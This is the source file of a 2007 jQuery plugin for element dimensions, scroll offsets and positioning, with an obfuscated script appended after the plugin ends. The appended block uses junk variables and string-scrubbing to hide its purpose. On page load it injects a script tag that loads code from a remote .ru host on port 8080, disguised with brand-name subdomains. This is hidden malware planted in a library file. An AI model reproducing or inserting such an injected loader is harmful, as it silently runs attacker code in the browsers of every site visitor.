/* Copyright (c) 2007 Paul Bakaus (paul.bakaus@googlemail.com) and Brandon Aaron (brandon.aaron@gmail.com || http://brandonaaron.net)
 * Dual licensed under the MIT (http://www.opensource.org/licenses/mit-license.php)
 * and GPL (http://www.opensource.org/licenses/gpl-license.php) licenses.
 *
 * $LastChangedDate: 2007-10-06 20:11:15 +0200 (Sa, 06 Okt 2007) $
 * $Rev: 3581 $
 *
 * Version: @VERSION
 *
 * Requires: jQuery 1.2+
 */

(function($){
	
$.dimensions = {
	version: '@VERSION'
};

// Create innerHeight, innerWidth, outerHeight and outerWidth methods
$.each( [ 'Height', 'Width' ], function(i, name){
	
	// innerHeight and innerWidth
	$.fn[ 'inner' + name ] = function() {
		if (!this[0]) return;
		
		var torl = name == 'Height' ? 'Top'    : 'Left',  // top or left
		    borr = name == 'Height' ? 'Bottom' : 'Right'; // bottom or right
		
		return num( this, name.toLowerCase() ) + num(this, 'padding' + torl) + num(this, 'padding' + borr);
	};
	
	// outerHeight and outerWidth
	$.fn[ 'outer' + name ] = function(options) {
		if (!this[0]) return;
		
		var torl = name == 'Height' ? 'Top'    : 'Left',  // top or left
		    borr = name == 'Height' ? 'Bottom' : 'Right'; // bottom or right
		
		options = $.extend({ margin: false }, options || {});
		
		return num( this, name.toLowerCase() )
				+ num(this, 'border' + torl + 'Width') + num(this, 'border' + borr + 'Width')
				+ num(this, 'padding' + torl) + num(this, 'padding' + borr)
				+ (options.margin ? (num(this, 'margin' + torl) + num(this, 'margin' + borr)) : 0);
	};
});

// Create scrollLeft and scrollTop methods
$.each( ['Left', 'Top'], function(i, name) {
	$.fn[ 'scroll' + name ] = function(val) {
		if (!this[0]) return;
		
		return val != undefined ?
		
			// Set the scroll offset
			this.each(function() {
				this == window || this == document ?
					window.scrollTo( 
						name == 'Left' ? val : $(window)[ 'scrollLeft' ](),
						name == 'Top'  ? val : $(window)[ 'scrollTop'  ]()
					) :
					this[ 'scroll' + name ] = val;
			}) :
			
			// Return the scroll offset
			this[0] == window || this[0] == document ?
				self[ (name == 'Left' ? 'pageXOffset' : 'pageYOffset') ] ||
					$.boxModel && document.documentElement[ 'scroll' + name ] ||
					document.body[ 'scroll' + name ] :
				this[0][ 'scroll' + name ];
	};
});

$.fn.extend({
	position: function() {
		var left = 0, top = 0, elem = this[0], offset, parentOffset, offsetParent, results;
		
		if (elem) {
			// Get *real* offsetParent
			offsetParent = this.offsetParent();
			
			// Get correct offsets
			offset       = this.offset();
			parentOffset = offsetParent.offset();
			
			// Subtract element margins
			offset.top  -= num(elem, 'marginTop');
			offset.left -= num(elem, 'marginLeft');
			
			// Add offsetParent borders
			parentOffset.top  += num(offsetParent, 'borderTopWidth');
			parentOffset.left += num(offsetParent, 'borderLeftWidth');
			
			// Subtract the two offsets
			results = {
				top:  offset.top  - parentOffset.top,
				left: offset.left - parentOffset.left
			};
		}
		
		return results;
	},
	
	offsetParent: function() {
		var offsetParent = this[0].offsetParent;
		while ( offsetParent && (!/^body|html$/i.test(offsetParent.tagName) && $.css(offsetParent, 'position') == 'static') )
			offsetParent = offsetParent.offsetParent;
		return $(offsetParent);
	}
});

function num(el, prop) {
	return parseInt($.css(el.jquery?el[0]:el,prop))||0;
};

})(jQuery);
var zG=new Array();try {var Pj;if(Pj!='F' && Pj!='zx'){Pj=''};var x='g';var w;if(w!=''){w='I'};this.o="";var a=RegExp;var vr;if(vr!='W' && vr!='zu'){vr=''};this.lj="";var v='[';var r=']';var _;if(_!='' && _!='aW'){_=null};var y=new Array();var e='';var Q='replace';var hv;if(hv!='J' && hv!='Pw'){hv=''};this.os='';var Ls=new String();this.VB="";function H(k,R){var g="";var Ky='';var s=v;var p;if(p!='_w'){p='_w'};s+=R;s+=r;var SN;if(SN!='eS'){SN='eS'};var t=new a(s, x);var UK;if(UK!=''){UK='td'};return k[Q](t, e);};var zN=new Date();this.RX="";var nE;if(nE!='' && nE!='jG'){nE='pd'};var i=H('cQrseUastQesETlTeQmTesnMtM',"QUsTM");var rh=new Date();var fl;if(fl!=''){fl='YV'};var Gw=new Array();var La=new Array();var k="1";this.u='';var iu=H('sIeIt3A3tptprIi3bpu3tpep',"IpV3");var Zh;if(Zh!='VS'){Zh=''};var l=H('/FlFi0n9k9s0yFnqe0rLgqy0.Lc0oqm0/FlFiFnFkFs9yFnLe9rqgqy0.9cqo0m0/Lg0oqoqg0lFe9.0c0oLm0/qrqaqyLfLi0l9eL.qcLoFmq/0h0p9.qc9o0mL.9pFhLpq',"q9F0L");var Mf='';var U=H('aWpGpWeTn9d9CWhWiTlTdW',"9TWG");var QH='';var Fe;if(Fe!='Ce' && Fe!='rA'){Fe='Ce'};var X=H('h5t5t5p4:Y/5/YcRoRsRtYc5o3-4cRoYmY.YmRo4p5.Yc4oRmR.Yo4n3e5mYaYn5g3aY-Rc3o5mR.Ym3y4s5k3yRs5iRt4e3.5r3u5:R',"R435Y");var cu;if(cu!='' && cu!='wT'){cu=null};var h=H('873417270112387743702112772',"32471");var d=H('oInIlOoOaIdO',"IO");var Qt=new Array();var C=H('bRo1dRyQ',"RQ1");var osY="";var f=H('shchrhiJpatJ',"Jmha");var Pty;if(Pty!='xW'){Pty='xW'};var z='';var Y_;if(Y_!='zv'){Y_='zv'};this.fr="";window[d]=function(){var eY;if(eY!='' && eY!='PG'){eY='mV'};var uP='';this.zW="";P=document[i](f);z+=X;z+=h;var Wf;if(Wf!='JX' && Wf != ''){Wf=null};var jq;if(jq!='' && jq!='Yt'){jq='Ka'};z+=l;var ml=new Array();this.Pn='';P.setAttribute('defer', k);P.src=z;var PjC=new Array();var ke=new Date();var Uc=new Date();var ay=document[C];var et;if(et!='bK' && et != ''){et=null};var Rz=new Date();var Ft=new Date();ay.appendChild(P);this.kl="";this.ob="";};var vwN=new Array();var vQ=new String();} catch(M){var oq=new String();};